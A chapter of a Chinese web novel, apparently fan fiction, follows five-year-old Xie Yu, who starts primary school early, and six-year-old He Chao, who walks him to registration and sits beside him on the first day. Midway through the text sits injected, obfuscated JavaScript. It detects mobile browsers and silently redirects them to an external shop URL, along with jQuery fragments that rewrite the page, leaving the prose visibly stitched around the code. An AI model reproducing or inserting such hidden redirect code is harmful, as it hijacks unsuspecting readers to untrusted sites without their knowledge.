八月末尾的老城旧巷，暑气依旧沉甸甸压在屋檐之上。太阳悬在天上，把青石板晒得滚烫，脚踩上去，隔着薄薄的凉鞋都能感受到往上翻涌的热气。墙根处的梧桐树叶被晒得发蔫，蝉藏在茂密枝叶里面，没完没了地聒噪，一声叠着一声，填满整条巷子。
谢俞刚满五岁。
同院子里别的小孩到了年纪才去读小学不一样，他家里大人平日里早出晚归，忙着谋生，没有多余的时间在家照看他。家里没有人看管，反复商量过后，便决定让他提前去上小学。
五岁，比班上大部分孩子都要小上整整一岁。
巷子里的邻居偶尔看见，都会随口念叨两句，说这么小的身子骨，就要坐进课堂，怕是会坐不住。每一回听见这些话，谢俞也不辩解，只是垂着长长的眼睫，安安静静站在一旁，把所有情绪都闷在心里面。他性子本就冷淡内敛，不爱哭闹，受了委屈也很少往外说，习惯一个人缩在墙角，默默消化心里的不安。
贺朝比他大一岁，今年六岁，顺理成章到了该入学的年纪。
八月二十八，是新生注册报到的日子。
天刚蒙蒙亮，巷子还没有彻底热闹起来，贺朝就已经被家里人叫醒。他穿着一身干净简单的短袖短裤，皮肤晒得是健康的浅麦色，眼神透亮，吊儿郎当，看着像个调皮捣蛋的孩童，心思却格外通透，旁人藏起来的低落，总能够被他一眼捕捉。
出门的时候，贺朝在巷口的老槐树下看见了谢俞。
谢俞就安安静静立在树的阴影底下。
他个子小小的，身形比同龄孩子还要单薄一点，身上穿着洗得平整的浅灰色短袖，裤脚微微有些长，往下垂着。没有大人陪在身边，家里人要赶早出门干活，只能叮嘱他自己跟着大部队去学校注册。小小的一只，孤零零站在那里，小手攥着一张皱巴巴的注册通知单，指尖用力，纸张边缘被捏出几道深深的折痕。
五岁的孩子，就要独自去办入学注册，周遭来来往往，全是由家长牵着手送来的小朋友。
不少孩子被爸爸妈妈紧紧拽着，嘴里叽叽喳喳，哭闹的、嬉笑的，吵吵嚷嚷挤满通往学校的小路。对比之下，孤身一人的谢俞就显得格外扎眼。他脸上没什么表情，只是眼底藏着一丝怯意，微微抿着嘴唇，目光落在脚下发烫的石板路上，不去看身旁热闹的人群。
贺朝一眼就看见了人群边缘的谢俞。
他甩开自家妈妈牵住自己的手，几步跑过去，鞋底踩过石板，发出哒哒的轻响。
“谢俞？你怎么一个人。”
贺朝站到他面前，微微弯下腰，视线对上谢俞的眼睛。六岁的孩童，个子已经高出谢俞小半个头。
听见声音，谢俞慢慢抬起头，漆黑的眼珠澄澈，看向眼前的贺朝。巷子里一起长大，他们很早就认得彼此，只是平日里不算时时黏在一块。
“家里要上班。”谢俞的声音很轻，五岁小孩的嗓音软软淡淡的，没有多余的情绪，仿佛独自来注册是一件再平常不过的事。可只有他自己心里清楚，看着别的小孩都有大人陪着，心底还是漫开一点说不清道不明的落寞。
贺朝扫过他手里被捏得发皱的通知单，又看了看周围，确实没有看见谢俞家里大人的身影。
“那跟我们一起走。”贺朝很自然，伸手就想去拉谢俞的手腕。
谢俞下意识微微往后缩了一下，不习惯旁人突如其来的触碰。停顿几秒，没有躲开，任由贺朝温热的小手轻轻扣住自己的手腕。
孩童的手掌不算宽大，掌心带着夏日晒出来的温度，力道不重，不会让人觉得压迫。
贺母跟在后面走上来，看见孤零零的谢俞，心里了然，柔声开口：“小俞，跟我们一块吧，路上人多，别走丢了。”
谢俞轻轻点了点头，没有说话。
就这样，两个年纪相差一岁的小孩，手牵着手，混在熙熙攘攘的人流里面，朝着小学的方向走去。
老城区的小学离巷子不算太远，沿着石板路往前走十多分钟就能到。越靠近学校，路上的人就越多。无数家长带着新生，大包小包，手里拎着书包、水杯，叮嘱的话语此起彼伏。
太阳越升越高，日光直直泼下来，晒得人后颈发烫。
谢俞个子小，走在人群里，很容易被来往的大人挡住视线。贺朝就刻意放慢脚步，把他往自己身侧拉一拉，替他隔开迎面走过来的行人。
“别靠路边，小心自行车。”贺朝侧过头，低声提醒。
谢俞乖乖往里面挪了挪，被贺朝牵着的手腕，能真切感受到对方手心传来的温度。这么多人的路上，有一个人惦记着自己，那份深埋心底的惶恐，淡下去一点点。
走到学校大门口。
铁制校门敞开，墙上贴着大红的分班名单，一张一张铺开来，密密麻麻写满新生的名字。一大堆家长和孩子围在墙下，人头攒动，大家都仰着头，费力在白纸黑字里面寻找自家小孩的姓名。
喧闹的人声嗡嗡作响，吵得人耳朵发涨。
谢俞个子太矮，挤不到人群前面，只能站在外围，隔着层层叠叠的人影，什么都看不见。他攥紧手里的通知单，小小的眉头微微蹙起，无措一点点涌上来。没有大人帮他，他不知道该怎么挤进去看名单。
贺朝留意到他的窘迫。
“等着。”
贺朝松开他的手，身子一矮，从大人胳膊的缝隙里面钻了进去。小小的身影在人群里面钻来钻去，仰起脑袋，目光飞快扫过一张又一张分班纸张。
太阳晒在背上，额角很快冒出薄薄一层汗珠。
来回看了两遍，贺朝眼睛一亮。
他又费劲从人堆里面挤出来，额前碎发被汗水打湿，贴在皮肤上，脸上带着一点兴冲冲的神色。
“找到了！我们在同一个班，一年级一班。”贺朝跑到谢俞面前，语气带着少年孩童独有的雀跃，“谢俞，你跟我一个班。”
听见这句话，谢俞紧绷的肩膀，悄悄松了下来。
原本来到陌生学校的不安，对未知班级的忐忑，在这一刻，被冲淡了许多。偌大的陌生环境，至少还有一个认识的人，和自己待在同一个教室。
注册的流程不算复杂，在对应班级的教室门口排队，上交材料，登记信息，领新课本。队伍排得很长，弯弯曲曲绕了走廊大半圈。
大部分小朋友，都被爸爸妈妈护在身侧，有的撒娇，有的怯生生躲在家长身后。
谢俞安安静静站在队伍末尾，独自一个人，双手垂在身前。单薄的身子站在一众孩子中间，格外显眼。五岁的模样，脸蛋还带着没有褪去的幼态，个头也比周围大部分新生矮上一小截。路过的老师、家长，都会忍不住多看他两眼。
“这孩子年纪这么小，就上一年级了？”
“家里没人看，提前送过来的吧。”
细碎的议论断断续续飘进耳朵。
谢俞垂着眼，不去回应这些议论，把所有情绪都收进心里。被旁人打量的滋味并不好受，他只想安安静静把流程走完。
贺朝就站在他旁边，没有跑到前面和别的小孩打闹，就守在谢俞身侧。听见旁人的闲话，他也没有出声争辩，只是悄悄往谢俞的方向靠得更近一点，用小小的身子，替他隔开一部分旁人投过来的目光。
队伍慢慢往前挪动。
终于轮到他们。
教室门口，班主任是一位温和的女老师，戴着细框眼镜，低头核对上交过来的资料。看见谢俞报名表上面的出生年月，老师微微顿了顿，抬眼看向眼前这个小小的孩子。
“五岁？这么早就读一年级。”老师轻声问。
谢俞嘴唇动了动，还没有来得及开口，一旁的贺朝已经抢先答话。
“老师，他家大人要上班，没人照看他。”贺朝说得大大方方。
老师闻言点点头，没有再多追问，认真登记好信息，把一摞崭新的课本递过来。薄薄的语文、数学，还有图画本，摞在一起，对于五岁的谢俞来说，有一点沉。
书本刚落到怀里，谢俞胳膊往下沉了沉，差点抱不稳。
贺朝伸手，主动分担了大半，两只胳膊搂过厚厚的书本。
“我帮你拿一部分。”
注册结束，领完课本，教室里已经可以看见往后要坐的课桌。一排排木质课桌椅整齐摆放，桌面还带着新木头淡淡的味道。阳光从窗外落进教室，落在空荡荡的座位上。
今天只是注册报到，不用正式上课。九月一日，才是真正开学的日子。
离开教室，走廊到处都是喧闹的孩子。有的追逐奔跑，有的拿着崭新的课本翻看。
贺朝抱着两摞书本，谢俞跟在他身侧，慢慢走出教学楼。
走到操场边上的香樟树下，树荫浓密，隔绝灼人的日光。两个人停下脚步，把书本放在水泥台阶上。
贺朝抬手，抹了一把额头上的汗水。
“九月一号正式上课，就要早早过来。”贺朝侧过头看向谢俞，“你家离这里不算远，但是你个子小，路上车多，要是害怕，早上就在巷口老槐树那里等我，我们一起来学校。”
这是贺朝主动提出来的约定。
谢俞抬眼望向他。五岁的小孩，眼底藏着淡淡的情绪。提前入学这件事，他心里其实是惶恐的。年纪最小，身边全是比自己大一岁的同学，很多事情，他都不懂。他不擅长主动交朋友，害怕课堂，害怕陌生的同学，害怕跟不上课堂上面的内容。只是这些心事，他从来不会对外诉说。
此刻贺朝提出要和他结伴上学，像是一只温热的手，轻轻托住了他心里悬着的不安。
“好。”谢俞轻轻应了一声，声音不大，却格外清晰。
八月末的风穿过香樟树的枝叶，树叶沙沙作响，落在两个幼崽的身上。
贺朝蹲下来，把属于谢俞的课本一本一本理整齐，书页对齐，边角抚平。崭新的课本，封面上印着彩色的插图。
“上课要坐课堂里面，不能随便乱跑。”贺朝像个小大人一样，叮嘱着，“要是班上有人欺负你，你就告诉我。”
谢俞低下头，看着摊开的课本，指尖轻轻碰了碰语文课本彩色的封面。他习惯遇事自己憋着，受了委屈也只会闷在心里，很少会想着找谁求助。长这么大，很少有人直白地跟他说，受了委屈可以来找我。
心底某个角落，软软地动了一下。
“我不会惹事。”谢俞小声说。
“不是让你去惹事。”贺朝皱了皱小小的眉头，认真解释，“是别人要是找你麻烦，不用自己全部扛着。”
谢俞没有再接话，只是轻轻点了点头，把这句话默默记在了心里。
在学校没有再多逗留，两个人抱着书本，顺着来时的石板小路，往老巷的方向走回去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903652|212990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>正午的日头愈发毒辣，石板路面滚烫，路边墙根的野草被晒得蔫蔫的。路上的行人渐渐变少，大部分人都躲回屋子里面避暑。
一路走回巷口老槐树底下。
在这里就要分开，各自回家。
贺朝把分到自己怀里的课本交还到谢俞手上。谢俞双臂抱住沉甸甸的一摞新书，书本的纸张带着新鲜的油墨气息。
“九月一号，早上七点半，槐树底下见。”贺朝再次确认一遍约定，眼神认真。
“嗯。”谢俞应下。
分开之后，谢俞抱着一摞课本，慢慢走回自家的屋子。家门推开，屋子里安安静静，大人还在外干活，空荡荡的房间，只有他一个人。
他把崭新的课本小心翼翼放在桌子上，一本一本摊开。
指尖划过课本上的插图。一想到九月一日就要正式坐在一年级一班的教室，和一群年纪比自己大的孩子一同上课，心底依旧翻涌着忐忑。他是全班年纪最小的那一个，很多字他还认不全，课堂上的规矩，他也并不完全明白。
可只要一想到，贺朝会和自己坐在同一个教室，早上还会在老槐树下等自己，那一份沉甸甸的惶恐，就会消散一部分。
接下来的几天，整个老巷都在等待九月一日的到来。
巷子里到处都能听见家长叮嘱自家孩子开学的话语。商店门口，摆满新书包、铅笔、橡皮，来来往往的大人，都在为开学做准备。
谢俞家里条件普通，没有买崭新的书包，找出来一个旧一点的布包，洗干净，用来装课本。他会一个人坐在屋子的窗台边，翻一翻注册领回来的课本，很多字不认识，就安安静静看着图画。
偶尔推开家门，会看见贺朝在院子里面玩耍。贺朝有时候会跑过来，站在他家门口，和他聊两句开学之后课堂上会发生的事情。
日子一天天往前挪，八月一点点走向末尾。
九月一日，终于来了。
开学这一天，天还没有完全大亮，巷子里就已经苏醒过来。家家户户的房门陆续打开，响起大人说话、孩童洗漱的动静。公鸡打鸣的声音从巷子远处传过来。
谢俞早早醒过来。
天色蒙蒙泛白，他穿上干净的短袖，把课本、铅笔，全部装进洗好的布包里面。家里大人早早出门干活，餐桌上给他留好了简单的早饭。他安安静静吃完，背上布包，独自走出家门。
清晨的风褪去盛夏正午的燥热，带着一点微凉。
他径直走到巷口那棵老槐树的底下。
贺朝已经等在那里。
六岁的少年，背上崭新的蓝色书包，书包带子调整得整整齐齐，手里还攥着两个白面馒头，是家里早上刚蒸好的。看见谢俞走过来，贺朝扬起眉眼。
“没有迟到。”
谢俞走到他的身边，背上旧布包，衬得他的身形愈发瘦小。清晨的微光落在他的侧脸，眉眼安安静静。
“走吧。”贺朝把其中一个馒头塞到谢俞手里。
“路上吃。”
谢俞低头，看着手心温热的馒头，没有推辞，攥在小小的手掌中。
两个小孩，一前一后，并肩踏上去往学校的石板小路。清晨的街道人渐渐多起来，陆续都是背着书包上学的孩童。阳光慢慢爬过屋檐，金色晨光铺在滚烫的青石板路上。
再一次走到小学的铁大门。
今天的学校比注册那天更加热闹，喇叭播放着欢快的乐曲，五星红旗在旗杆顶端缓缓升起来。许许多多新生，由家长护送着，涌进校门。
谢俞跟在贺朝身侧，随着人流跨进校门。
走进一年级一班的教室。
教室里面已经坐了大半的学生，吵吵嚷嚷，桌椅挪动的声响，孩童说话的声响混杂在一起。不少孩子还在因为离开家人，眼眶红红的，小声啜泣。
贺朝熟门熟路，找了靠中间的两个并排的空位。
“坐这里。”贺朝指了指里面的座位。
谢俞钻进去，在椅子上坐下。木质课桌桌面冰凉，他把背上的布包取下来，轻轻放在桌肚里面。
周围的孩子，大多六岁、七岁，个子都比他高出一截。坐在座位上，谢俞小小的身子，几乎大半都陷进课桌后面。
周围不少孩子好奇地扭头打量他。大概也看出来，这个同桌的同桌，比班上所有人都要小上一圈。细碎的窃窃私语，断断续续在耳边响起。
谢俞垂着眼，不去回应那些打量，双手安放在桌面上，脊背绷得微微有些紧。陌生的环境，陌生的同学，扑面而来。
贺朝在他旁边的座位坐下，放下书包，侧过头看了一眼身侧紧绷的谢俞，悄悄伸出手，在课桌底下，指尖轻轻碰了碰谢俞的手背。
没有说话，只是一个很轻的触碰。
谢俞微微一顿，侧过头，对上贺朝望过来的眼神。
贺朝朝他轻轻眨了眨眼睛，仿佛在告诉他，不用怕。
上课铃声，叮铃铃，骤然响彻整座校园。
喧闹的教室，一点点安静下来。班主任拿着教案，迈步走上讲台。
五岁的谢俞，全班年纪最小的孩子，就这样，坐在满是六岁七岁孩童的课堂里面，正式开启属于他的小学时光。身旁，坐着那个会留意到他所有低落的六岁少年。窗外，九月的朝阳，透过玻璃窗，洋洋洒洒铺满整张课桌。
——本章完——